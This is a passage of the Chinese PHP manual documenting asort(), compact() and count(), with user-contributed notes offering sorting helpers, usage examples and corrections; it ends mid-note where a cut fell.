对 array 自身按照升序进行排序，并依然保持数组的键与值的关联。

主要用于对那些单元顺序很重要的关联数组进行排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 asort() 示例

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
asort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

c = apple
b = banana
d = lemon
a = orange

fruits 按照字母顺序排序，并且值与索引的关系不变。

参见

  • sort() - 对数组升序排序
  • arsort() - 对数组进行降向排序并保持索引关系
  • 数组排序函数对比

User Contributed Notes

marty8zhang at gmail dot com 06-Oct-2020 04:26
"This function sorts an array such that array indices maintain their correlation with the array elements they are associated with."

Note this sentence in the description has a quite important implication especially when you're working with an originally non-indexed (or say integer-indexed) array and JSON encoding/decoding.
I'm not reporting this as a bug, because the end result does fit into the description.

<?php

$myArray = ['small_image', 'image'];
var_dump(json_encode($myArray)); // string(23) "["small_image","image"]"
var_dump(is_object($myArray)); // bool(false)

asort($myArray);
$myJson = json_encode($myArray);
var_dump($myJson); // string(31) "{"1":"image","0":"small_image"}"
var_dump(is_object($myArray)); // bool(false)

/*
 * class stdClass#1 (2) {
 *     public $1 =>
 *     string(5) "image"
 *     public $0 =>
 *     string(11) "small_image"
 * }
 */
var_dump(json_decode($myJson));

?>
Jesse K 31-Aug-2020 07:49
'asort' is fine for sorting arrays in English, but if accented characters exist in the array then it is better to use the 'asort' method of PHP's Collator class:
https://www.php.net/manual/en/class.collator.php

$collator = new \Collator('fr_CA');
$collator->asort($french_list);

There are options for using `setlocale()` to control `asort` behaviour, but it isn't reliable across systems.
For instance, in my development environment I only have access to the following locals:

$ locale -a
C
C.UTF-8
POSIX
elhanafi123 at gmail dot com 20-Sep-2018 09:47
I have written this function so its sort an multidimensional array with a specific key.

<?php
function sort_array($array, $sort_value, $reverse = false){
    $value = $result = array();

    foreach($array as $key => $rows){
        $value[$key] = strtolower($rows[$sort_value]);
    }

    if($reverse == true){
        arsort($value);
    }else{
        asort($value);
    }

    foreach($value as $keys => $null){
        $result[] = $array[$keys];
    }

    return $result;
}
?>

Examples

<?php

$array = array(array('a' => 'foo'), array('a' => 'foo4'), array('a' => 'foo2'), array('a' => 'foo3'));
print_r($array);
//Array ( [0] => Array ( [a] => foo ) [1] => Array ( [a] => foo4 ) [2] => Array ( [a] => foo2 ) [3] => Array ( [a] => foo3 ) )

print_r(sort_array($array, 'a'));
//Array ( [0] => Array ( [a] => foo ) [1] => Array ( [a] => foo2 ) [2] => Array ( [a] => foo3 ) [3] => Array ( [a] => foo4 ) )

print_r(sort_array($array, 'a', true));
//Array ( [0] => Array ( [a] => foo4 ) [1] => Array ( [a] => foo3 ) [2] => Array ( [a] => foo2 ) [3] => Array ( [a] => foo ) )

?>
aditycse at gmail dot com 07-Aug-2015 12:41
/*
 * Name : Aditya Mehrotra
 * Email: aditycse@gmail.com
 */
//Example for sorting by values for an alphanumeric array also having case-sensitive data
$exampleArray1 = $exampleArray2 = array(
    0 => 'example1',
    1 => 'Example10',
    2 => 'example12',
    3 => 'Example2',
    4 => 'example3',
    5 => 'EXAMPLE10',
    6 => 'example10'
);

//default sorting
asort($exampleArray1);

// alphanumeric with case-sensitive data sorting by values
asort($exampleArray2, SORT_STRING | SORT_FLAG_CASE | SORT_NATURAL);

//output of defaut sorting
print_r($exampleArray1);
/*
 * output of default sorting
  Array
  (
  [5] => EXAMPLE10
  [1] => Example10
  [3] => Example2
  [0] => example1
  [6] => example10
  [2] => example12
  [4] => example3
  )
 */

print_r($exampleArray2);
/*
 * output of alphanumeric with case-sensitive data sorting by values
 Array
(
    [0] => example1
    [3] => Example2
    [4] => example3
    [5] => EXAMPLE10
    [1] => Example10
    [6] => example10
    [2] => example12
)
 */
stephen [ at ] brooksie-net [ dot ] co [ dot ] uk 01-Mar-2013 04:37
It is obviously necessary to log the keys used as so we don't overwrite previous entries in the array ;o)

N.B. this also effects the timings, but still faster than the alternatives :

     * int : 0.00159    (ms)
     * str : 0.00092    (ms)

<?php
private function _keySort(Array $data)
    {
        $keys = array();

        foreach($data as $row) {

            $keyIncrement =
                (!isset($keys[$row[$this->_orderField]]))
                    ? $keys[$row[$this->_orderField]] = 0
                    : ++$keys[$row[$this->_orderField]];

            $tempArray[$row[$this->_orderField].$keyIncrement] = $row;
        }

        if ($this->_orderDirection == 'DESC') {
            krsort($tempArray, SORT_NATURAL | SORT_FLAG_CASE );
        } else {
            ksort($tempArray, SORT_NATURAL | SORT_FLAG_CASE);
        }

        return $tempArray;

    }
?>
nick ([AT]) nickyost ([DOT]) com 15-Sep-2011 03:32
This function can be used to sort multidimensional arrays with almost no work whatsoever by using the individual values within the custom sort function.

This function passes the entire child element even if it is not a string. If it is an array, as would be the case in multidimensional arrays, it will pass the whole child array as one parameter.

Therefore, do something elegant like this:

<?php
     // Sort the multidimensional array
     usort($results, "custom_sort");
     // Define the custom sort function
     function custom_sort($a,$b) {
          return $a['some_sub_var']>$b['some_sub_var'];
     }
?>

This does in 4 lines what other functions took 40 to 50 lines to do. This does not require you to create temporary arrays or anything. This is, for me, a highly preferred solution.

Hope it helps!
Anon 06-May-2011 05:37
Case insensitive sort in one line:

<?php

array_multisort(array_map('strtolower', $array), $array);

?>
rick at toewsweb dot net 28-Apr-2011 04:40
On sorting by value first, then by key (cf., 2008-01-31 notes by mike at clear-link dot com):

What occurred to me to solve this problem was to extract the keys and values into separate arrays, then use array_multisort to get the desired order:

Ex:
<?php
$kvpairs = array('noun' => 'thought', 'animal' => 'fish', 'abstract' => 'thought', 'food' => 'fish', 'verb' => 'fish');
print "before:\n";
print_r($kvpairs);

// Essentially, one line of code is all that's needed for the sort:
array_multisort(array_values($kvpairs), array_keys($kvpairs), $kvpairs);

print "after:\n";
print_r($kvpairs);
?>

before:
Array
(
    [noun] => thought
    [animal] => fish
    [abstract] => thought
    [food] => fish
    [verb] => fish
)
after:
Array
(
    [animal] => fish
    [food] => fish
    [verb] => fish
    [abstract] => thought
    [noun] => thought
)

Of course, array_multisort allows you to specify sort order (SORT_ASC, SORT_DESC) and sort type (SORT_REGULAR, SORT_STRING, SORT_NUMERIC) for each array you pass it.
Eran 21-Apr-2009 05:15
i made this sample multi dimensional array sort to someone who needed to read lines from a text file instead of using sql - order by statement.

the idea is to take the key and sort(order) the specific column and then order the entire of the array as the selected column asort returned.

<?php
/**
 *
 * This sample is reading text data
 * and perform a sort to a 2 dimensional array
 * just like a normal sql do to "order by asc"
 *
 */

$foo = array();

/*
# SORT_REGULAR - compare items normally (don't change types)
# SORT_NUMERIC - compare items numerically
# SORT_STRING - compare items as strings
*/
$sort_by = SORT_REGULAR;

/*
# 0 - order by name column
# 1 - order by age column
# 2 - order by rank column
# 3 - order by color column
*/
$order_by = 1;

// source file
$line_of_text[1] = 'a1name|f2age|h3rank|jcolor';
$line_of_text[2] = 'b1name|d2age|i3rank|k4color';
$line_of_text[0] = 'c1name|e2age|g3rank|l4color';

// make array
for ($x=0; $x<=2; $x++)
{
    $line = explode('|',$line_of_text[$x]);

    // save it by coulmns otherwise it will saved like rows
    for ($i=0; $i<=3; $i++) {
          $foo[$i][$x] = $line[$i];
    }
}

// get the key order
$a = $foo[$order_by];

// sort
asort($a, $sort_by);

// start print
echo "<table cellpudding=0 cellspacing=0 border=1>\n";
        echo "<tr>\n";
          echo "<td>key</td>\n";
          echo "<td>name</td>\n";
          echo "<td>age</td>\n";
          echo "<td>rank</td>\n";
          echo "<td>color</td>\n";
        echo "</tr>\n";

// print by key order
foreach ($a as $k => $v) {
    echo "<tr>\n";
      echo "<td>$k</td>\n";
      // you can print here a for loop (0 to num of columns[=3])
      echo "<td>".$foo[0][$k]."</td>\n";
      echo "<td>".$foo[1][$k]."</td>\n";
      echo "<td>".$foo[2][$k]."</td>\n";
      echo "<td>".$foo[3][$k]."</td>\n";
    echo "</tr>\n";
}
echo "</table>\n";
?>
bakatamas at freemail dot hu 15-Feb-2008 02:34
Dear mike at clear-link dot com!

I needed a case insensitive version of your function. It is still not perfect as I have to do something with country specific characters (?üó?úéá?í?üó?úéá?í)

function akisort(&$array,$valrev=false,$keyrev=false)
    {
    if ($valrev)
        {
        arsort($array);
        }
        else
        {
        asort($array);
        };
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num)
        {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        $tmp2 = array();
        foreach($tmp as $key => $value)
            {
            $tmp2[] = $key;
            $number = $value;
            };
        natcasesort($tmp2);
        reset($tmp2);
        print_r($tmp2);
        unset($tmp);
        foreach($tmp2 as $key => $value)
            {
            $tmp[$value] = $number;
            };
        if($keyrev)
            {
            $tmp = array_reverse($tmp, true);
            };
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        };
};
mike at clear-link dot com 31-Jan-2008 03:56
Small typo in the aksort function I just submitted. Here's the entire thing again, with the correction noted:

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
  $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $i+$num;
        // Fixed from previous post: $i = $num;
    }
}
?>
mike at clear-link dot com 31-Jan-2008 03:23
For a recent project I needed to sort an associative array by value first, and then by key if a particular value appeared multiple times. I wrote this function to accomplish the task. Note that the parameters default to sort ascending on both keys and values, but allow granular control over each.

<?php
function aksort(&$array,$valrev=false,$keyrev=false) {
  if ($valrev) { arsort($array); } else { asort($array); }
    $vals = array_count_values($array);
    $i = 0;
    foreach ($vals AS $val=>$num) {
        $first = array_splice($array,0,$i);
        $tmp = array_splice($array,0,$num);
        if ($keyrev) { krsort($tmp); } else { ksort($tmp); }
        $array = array_merge($first,$tmp,$array);
        unset($tmp);
        $i = $num;
    }
}

// Example
$tmp = array('ca'=>1,'cb'=>2,'ce'=>1,'pa'=>2,'pe'=>1);

// Standard asort
asort($tmp);
print_r($tmp);

// Sort value ASC, key ASC
aksort($tmp);
print_r($tmp);

// Sort value DESC, key ASC
aksort($tmp,true);
print_r($tmp);

// Sort value DESC, key DESC
aksort($tmp,true,true);
print_r($tmp);

// Results
Array
(
    [pe] => 1
    [ca] => 1
    [ce] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [ca] => 1
    [ce] => 1
    [pe] => 1
    [cb] => 2
    [pa] => 2
)
Array
(
    [cb] => 2
    [pa] => 2
    [ca] => 1
    [ce] => 1
    [pe] => 1
)
Array
(
    [pa] => 2
    [cb] => 2
    [pe] => 1
    [ce] => 1
    [ca] => 1
)
mzvarik at gmail dot com 16-Jan-2008 09:29
I noticed that my function mentioned earlier is very misleading - somebody please delete that note!

This is how you sort:
<?php
setlocale (LC_ALL, 'czech');
$array = array("a", "?", "c");
usort ($array, 'strcoll');
print_r($array);
?>
przemekkus [at] interia [dot] pl 02-Nov-2007 06:34
Function written by a dot brandon at chello dot nl has an error  - wrong variable name. It should be:

if($rev) arsort($named_hash,$flags=0) ;

instead of

if($reverse) arsort($named_hash,$flags=0) ;
a dot brandon at chello dot nl 25-Jun-2007 07:18
I use this for quasi-SQL orderby. Loosely based on smileaf. Any good for you nerds?

<?

function named_records_sort($named_recs, $order_by, $rev=false, $flags=0)
{// Create 1-dimensional named array with just
 // sortfield (in stead of record) values
    $named_hash = array();
     foreach($named_recs as $key=>$fields)
             $named_hash["$key"] = $fields[$order_by];

 // Order 1-dimensional array,
 // maintaining key-value relations
    if($reverse) arsort($named_hash,$flags=0) ;
    else asort($named_hash, $flags=0);

 // Create copy of named records array
 // in order of sortarray
    $sorted_records = array();
    foreach($named_hash as $key=>$val)
           $sorted_records["$key"]= $named_recs[$key];

return $sorted_records;} // named_recs_sort()

function show_sorted_records($named_recs, $order_by, $rev=false, $flags=0)
{$sorted_records=named_records_sort($named_recs, $order_by, $rev, $flags);
foreach($sorted_records as $name=>$fields)
  {echo "<b>$name</b>   ";
   foreach($fields as $field=>$val)
          echo "$field = $val "; echo "<br>";}
} // show_sorted_records()

$girl_friends=array();
$girl_friends["Anna"]=
array("born"=>'1989-08-22',"cupsize"=>'B-',"IQ"=>105, "daddy"=>'rich');
$girl_friends["Zoe"]
=array("born"=>'1978-03-11',"cupsize"=>'C#',"IQ"=>130, "daddy"=>'poor');
$girl_friends["Lilly"]
=array("born"=>'1985-06-16',"cupsize"=>'DD',"IQ"=>90, "daddy"=>'nasty');

$order_by="cupsize"; echo "And the winners are: <br>";
show_sorted_records($girl_friends, $order_by, true);

?>
gunnar at taljaren dot se 14-Jun-2007 01:00
for ($i=0;$i<5;$i++)
   $values[] = $i;
asort($values);

works, but
for ($i=0;$i<5;$i++)
   $values[$i] =$i;
asort($values);
doesn't!
smileaf at smileaf dot org 24-Jan-2007 06:34
Ok I was mistaken, after re-reading the previous post the ".$key" is important. What caused the sorting issue for me wasn't that at all. But rather something else.
doing an: asort($records, $flags); before returning fixes the sorting problems.
The sorting problem I was refearing to causes a character based sorting done on numeric data.
so instead of:
1
2
3
...
10
12
20
It was returned back as
1
10
12
2
20
3
...
basically what I was trying to fix in the first place.
richard at happymango dot me dot uk 23-Nov-2006 03:52
This is a fixed version of the same function I posted below. Now it will handle duplicate entries in the sorted field. EG: If there were two records that had the name Heathrow it would still work.

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $key => $record)
    {
        $hash[$record[$field].$key] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

?>
richard at happymango dot me dot uk 22-Nov-2006 03:35
This is a function to sort an indexed 2D array by a specified sub array key, either ascending or descending.

It is usefull for sorting query results from a database by a particular field after the query has been returned

This function can be quite greedy. It recreates the array as a hash to use ksort() then back again

By default it will sort ascending but if you specify $reverse as true it will return the records sorted descending

<?php

function record_sort($records, $field, $reverse=false)
{
    $hash = array();

    foreach($records as $record)
    {
        $hash[$record[$field]] = $record;
    }

    ($reverse)? krsort($hash) : ksort($hash);

    $records = array();

    foreach($hash as $record)
    {
        $records []= $record;
    }

    return $records;
}

// Example below

$airports = array
(
    array( "code" => "LHR", "name" => "Heathrow" ),
    array( "code" => "LGW", "name" => "Gatwick" ),
);

printf("Before: <pre>%s</pre>", print_r($airports, true));

$airports = record_sort($airports, "name");

printf("After: <pre>%s</pre>", print_r($airports, true));

?>

Example Outputs:

Before: Array
(
    [0] => Array ( [code] => LHR, [name] => Heathrow )
    [1] => Array ( [code] => LGW, [name] => Gatwick )
)

After: Array
(
    [0] => Array ( [code] => LGW, [name] => Gatwick )
    [1] => Array ( [code] => LHR, [name] => Heathrow )
)
php at web-in-time dot com 05-Sep-2006 02:47
acecream's function works fine, especially with the spectre extension.

nevertheless sometimes the index values have to be kept. To achieve this, just replace:

$sorted_arr[] = $array[$arr_key];

with:

$sorted_arr[$arr_key] = $array[$arr_key];
rojaro 23-Jun-2004 07:38
Advanced sort array by second index function, which produces ascending (default) or descending output and uses optionally natural case insensitive sorting (which can be optionally case sensitive as well).
Only the first two arguments are required.

<?php

function sabsi ($array, $index, $order='asc', $natsort=FALSE, $case_sensitive=FALSE) {
  if(is_array($array) && count($array)>0) {
    foreach(array_keys($array) as $key) $temp[$key]=$array[$key][$index];
    if(!$natsort) ($order=='asc')? asort($temp) : arsort($temp);
    else {
      ($case_sensitive)? natsort($temp) : natcasesort($temp);
      if($order!='asc') $temp=array_reverse($temp,TRUE);
    }
    foreach(array_keys($temp) as $key) (is_numeric($key))? $sorted[]=$array[$key] : $sorted[$key]=$array[$key];
    return $sorted;
  }
  return $array;
}

?>
spectre at hellfish dot NOSPAM dot org 28-Apr-2003 09:54
that works nicely, tho it breaks the result-array up if one or more of arrays indexes are deleted before sorting. this one should fix it up:

change:
for ($i = 0; $i < sizeof($array); $i++) {

to:
foreach ($array as $i => $k) {
mbevan at marginsoftware dot com 03-Dec-2002 01:25
Nevermind... use my last note as a quick tip: if you wish to keep the keys, use asort() and arsort() in place of sort() and rsort().
31-Jul-2002 06:48
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "'$var'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
phzzzt .a.t. acm .d.o.t. org 31-Jul-2002 06:32
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "\'$var\'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
salchicha at cable dot net dot co 03-Apr-2002 01:23
Here's one I whipped up to allow you to sort an array of a specific class by a member or function:

<?php
// Sort a class by one of its members (even lowercase!!!)
function casort($arr, $var) {
   $tarr = array();
   $rarr = array();
   for($i = 0; $i < count($arr); $i++) {
      $element = $arr[$i];
      $tarr[] = strtolower($element->{$var});
   }

   reset($tarr);
   asort($tarr);
   $karr = array_keys($tarr);
   for($i = 0; $i < count($tarr); $i++) {
      $rarr[] = $arr[intval($karr[$i])];
   }

   return $rarr;
}
?>

It works very well. For example, I have a Room class with members title, isActive(), date, etc. I can sort an array by casort($rooms, "title") or casort($rooms, "isActive()") and it'll work.
rcwang at cmu dot edu 02-Mar-2002 05:42
Here's my version of sorting multi-dimensional array by 2nd index.
Feel free to change the code to suit your needs.

<?php
function aSortBySecondIndex($multiArray, $secondIndex) {
    while (list($firstIndex, ) = each($multiArray))
        $indexMap[$firstIndex] = $multiArray[$firstIndex][$secondIndex];
    asort($indexMap);
    while (list($firstIndex, ) = each($indexMap))
        if (is_numeric($firstIndex))
            $sortedArray[] = $multiArray[$firstIndex];
        else $sortedArray[$firstIndex] = $multiArray[$firstIndex];
    return $sortedArray;
}
?>
freeman at generalresources dot com 04-May-2001 04:51
The asortbyindex($sortarray, $index) looks like sort not asort. The key of the $sortarray was changed.
sweetland at whoadammit dot com 15-Aug-2000 12:02
Here's a little routine I whipped up to sort multi-dimensional arrays:
<?php
/**
 ** comesafter ($s1, $s2)
 **
 ** Returns 1 if $s1 comes after $s2 alphabetically, 0 if not.
 **/

function comesafter ($s1, $s2) {
        /**
         ** We don't want to overstep the bounds of one of the strings and segfault,
         ** so let's see which one is shorter.
         **/

        $order = 1;

        if (strlen ($s1) > strlen ($s2)) {
                $temp = $s1;
                $s1 = $s2;
                $s2 = $temp;
                $order = 0;
        }

        for ($index = 0; $index < strlen ($s1); $index++) {
                /**
                 ** $s1 comes after $s2
                 **/

                if ($s1[$index] > $s2[$index]) return ($order);

                /**
                 ** $s1 comes before $s2
                 **/

                if ($s1[$index] < $s2[$index]) return (1 - $order);
        }

        /**
         ** Special case in which $s1 is a substring of $s2
         **/

        return ($order);
}

/**
 ** asortbyindex ($sortarray, $index)
 **
 ** Sort a multi-dimensional array by a second-degree index. For instance, the 0th index
 ** of the Ith member of both the group and user arrays is a string identifier. In the
 ** case of a user array this is the username; with the group array it is the group name.
 ** asortby
 **/

function asortbyindex ($sortarray, $index) {
        $lastindex = count ($sortarray) - 1;
        for ($subindex = 0; $subindex < $lastindex; $subindex++) {
                $lastiteration = $lastindex - $subindex;
                for ($iteration = 0; $iteration < $lastiteration;    $iteration++) {
                        $nextchar = 0;
                        if (comesafter ($sortarray[$iteration][$index], $sortarray[$iteration + 1][$index])) {
                                $temp = $sortarray[$iteration];
                                $sortarray[$iteration] = $sortarray[$iteration + 1];
                                $sortarray[$iteration + 1] = $temp;
                        }
                }
        }
        return ($sortarray);
}
?>

It's a bit long with all the comments, but I hope it helps.
bwuhlman at tallships dot ca 02-Aug-2000 03:01
Well, actually, asort has *two* annoying features.

It works perfectly well sorting hashes (or associative arrays, as you might have it), but doggedly refuses to sort regular arrays maintaining index assocation. Kind've makes sense, but the docs don't explicitly say you can't do it.

Urgggh.
jacko at kring dot co dot uk 24-Feb-2000 11:26
asort has one anoying feature, it ignores any default or implicit order in the data.  i.e. if two elements of an array contain "banana" then it is not garanteed that the first will still be the first after the sort.
This makes the Burrows-Wheeler block sort a bit of a pain to impliment, with a trailing string having to be appended to all strings before sorting, and removed after sorting. To maintain the so called "banana" order.


建立一个数组，包括变量名和它们的值

  • ? asort
  • count ?
  • PHP Manual
  • 数组 函数
  • 建立一个数组，包括变量名和它们的值

compact

(PHP 4, PHP 5, PHP 7, PHP 8)

compact — 建立一个数组，包括变量名和它们的值

说明

compact(array|string $var_name, array|string ...$var_names): array

创建一个包含变量与其值的数组。

对每个参数，compact() 在当前的符号表中查找该变量名并将它添加到输出的数组中，变量名成为键名而变量的内容成为该键的值。简单说，它做的事和 extract() 正好相反。返回将所有变量添加进去后的数组。

Note:

在 PHP 7.3 之前版本，未设置的字符串会被静默忽略。

参数

var_name
var_names

compact() 接受可变的参数数量。每个参数不是包含变量名的字符串，就是变量名组成的数组。数组中可以包含由其他变量名组成的数组，compact() 会递归处理。

返回值

返回输出的数组，包含了添加的所有变量。

错误／异常

如果字符串指向的变量未定义，compact() 会产生 E_WARNING 级别的错误。

更新日志

版本 | 说明
8.0.0 | 如果指定字符串引用了未设置的变量，现在会发出 E_WARNING 级别的错误。
7.3.0 | 现在，如果字符串指向的变量未定义，compact() 会产生 E_NOTICE 级错误。在此之前，这样的字符串会默默地跳过。

示例

Example #1 compact() 示例

<?php
$city = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", $location_vars);
print_r($result);
?>

以上示例会输出：

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

注释

Note: Gotcha

因为可变变量也许不能在函数内部用于 PHP 的超全局数组，此时不能将超全局数组传递入 compact() 中。

参见

  • extract() - 从数组中将变量导入到当前的符号表

User Contributed Notes

c dot smith at fantasticmedia dot co dot uk 20-Sep-2023 03:23
If you must utilise this knowing that a variable may be unset, then you need to use an alternative method.

So instead of the following:

<?php
$var1 = "lorem";
$var2 = "ipsum";
$result = compact('var1', 'var2', 'unsetvar');
?>

Consider the following:

<?php
$var1 = "lorem";
$var2 = "ipsum";
$result = [];
foreach( ['var1', 'var2', 'unsetvar'] as $attr ) {
    if ( isset( $$attr ) ) {
        $result[ $attr ] = $$attr;
    }
}
?>
lekiagospel at gmail dot com 13-Jan-2020 01:20
Consider these two examples. The first as used in the manual, and  the second a slight variation of it.

Example #1

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", $location_vars);
print_r($result);
?>

Example #1 above  will output:

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

Example #2

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", "location_vars");
print_r($result);
?>

Example #2 above will output:

Array
(
    [event] => SIGGRAPH

    [location_vars] => Array
        (
            [0] => city
            [1] => state
        )

)

In the first example, the value of the variable $location_values (which is an array containing city, and state) is passed to compact().

In the second example, the name of the variable $location_vars  (i.e  without the '$' sign) is passed to compact() as a string. I hope this further clarifies the points made in the manual?
jmarkmurph at yahoo dot com 26-Jan-2016 01:45
So compact('var1', 'var2') is the same as saying array('var1' => $var1, 'var2' => $var2) as long as $var1 and $var2 are set.
Robc 19-Jan-2011 03:16
The description says that compact is the opposite of extract() but it is important to understand that it does not completely reverse extract().  In particluar compact() does not unset() the argument variables given to it (and that extract() may have created).  If you want the individual variables to be unset after they are combined into an array then you have to do that yourself.
M Spreij 24-May-2007 06:10
Can also handy for debugging, to quickly show a bunch of variables and their values:

<?php
print_r(compact(explode(' ', 'count acw cols coldepth')));
?>

gives

Array
(
    [count] => 70
    [acw] => 9
    [cols] => 7
    [coldepth] => 10
)


统计数组、Countable 对象中所有元素的数量

  • ? compact
  • current ?
  • PHP Manual
  • 数组 函数
  • 统计数组、Countable 对象中所有元素的数量

count

(PHP 4, PHP 5, PHP 7, PHP 8)

count — 统计数组、Countable 对象中所有元素的数量

说明

count(Countable|array $value, int $mode = COUNT_NORMAL): int

用于数组时，统计数组中元素的数量；用于实现了 Countable 接口的对象时，返回 Countable::count() 方法的返回值。

参数

value

数组或者 Countable 对象。

mode

如果可选的 mode 参数设为 COUNT_RECURSIVE（或 1），count() 将递归地对数组计数。对计算多维数组的所有单元尤其有用。

Caution

count() 能检测递归来避免无限循环，但每次出现时会产生 E_WARNING 错误 （如果 array 不止一次包含了自身）并返回大于预期的统计数字。

返回值

返回 value 中的元素的数量。在 PHP 8.0.0 之前，如果参数既不是数组也不是实现了 Countable 接口的对象，将返回 1。当 value 为 null 时返回 0。

更新日志

版本 | 说明
8.0.0 | 当 value 参数传入了无效的 countable 类型， count() 现在会抛出 TypeError。
7.2.0 | 当 value 参数传入了无效的 countable 类型， count() 现在会产生警告。

示例

Example #1 count() 例子

<?php
$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
var_dump(count($a));

$b[0] = 7;
$b[5] = 9;
$b[10] = 11;
var_dump(count($b));
?>

以上示例会输出：

int(3)
int(3)

Example #2 count() 非 Countable|array 的例子 （这是个反例，请勿模仿）

<?php
$b[0] = 7;
$b[5] = 9;
$b[10] = 11;
var_dump(count($b));

var_dump(count(null));

var_dump(count(false));
?>

以上示例会输出：

int(3)
int(0)
int(1)

Output of the above example in PHP 7.2:

int(3)

Warning: count(): Parameter must be an array or an object that implements Countable in ... on line 12
int(0)

Warning: count(): Parameter must be an array or an object that implements Countable in ... on line 14
int(1)

以上示例在 PHP 8 中的输出：

int(3)

Fatal error: Uncaught TypeError: count(): Argument #1 ($var) must be of type Countable .. on line 12

Example #3 递归 count() 例子

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
'veggie' => array('carrot', 'collard', 'pea'));

// 递归计数
var_dump(count($food, COUNT_RECURSIVE));

// 常规计数
var_dump(count($food));

?>

以上示例会输出：

int(8)
int(2)

Example #4 Countable 对象

<?php
class CountOfMethods implements Countable
{
private function someMethod()
{
}

public function count(): int
{
return count(get_class_methods($this));
}
}

$obj = new CountOfMethods();
var_dump(count($obj));
?>

以上示例会输出：

int(2)

参见

  • is_array() - 检测变量是否是数组
  • isset() - 检测变量是否已声明并且其值不为 null
  • empty() - 检查变量是否为空
  • strlen() - 获取字符串长度
  • is_countable() - 验证变量内容是否为可数值
  • Array 数组

User Contributed Notes

olja dot fb at gmail dot com 28-May-2023 01:08
In example #3, given as:

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
              'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
var_dump(count($food, COUNT_RECURSIVE));
?>

with the output given as int(8), it may have some readers mistaken, as I was at first: one might take it as keys being counted as well as the inner array entries:

<?php
// NO:
'fruits', 'orange', 'banana', 'apple',
'veggie', 'carrot', 'collard', 'pea'
?>

But actually keys are not counted in count function, and why it is still 8 - because inner arrays are counted as entries as well as their inner elements:

<?php
// YES:
array('orange', 'banana', 'apple'), 'orange', 'banana', 'apple',
array('carrot', 'collard', 'pea'), 'carrot', 'collard', 'pea'
?>
asma mechtaba 14-Mar-2022 03:03
count and sizeof are aliases, what work for one works for the other.
Christoph097 25-Dec-2021 12:04
Empty values are counted:
<?php
$ar[] = 3;
$ar[] = null;
var_dump(count($ar)); //int(2)
?>
vojtaripa at gmail dot com 25-Jun-2020 12:29
To get the count of the inner array you can do something like:

$inner_count = count($array[0]);
echo ($inner_count);
max at schimmelmann dot org 08-Mar-2020 12:12
In special situations you might only want to count the first level of the array to figure out how many entries you have, when they have N more key-value-pairs.

<?php

$data = [
    'a' => [
        'bla1' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla2' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla3' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla4' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
    ],
    'b' => [
        'bla1' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
        'bla2' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ],
    ],
    'c' => [
        'bla1' => [
            0 => 'asdf',
            1 => 'asdf',
            2 => 'asdf',
        ]
    ]
];
$count = array_sum(array_values(array_map('count', $data)));
// will return int(7)
var_dump($count);

// will return 31
var_dump(count($data, 1));
?>
XavDeb 30-Jan-2020 10:59
If you want to know the sub-array containing the MAX NUMBER of values in a 3 dimensions array, here is a try (maybe not the nicest way, but it works):

function how_big_is_the_biggest_sub ($array)  {
   // we parse the 1st level
   foreach ($array AS $key => $array_lvl2) {
         //within level 2, we count the 3d levels max
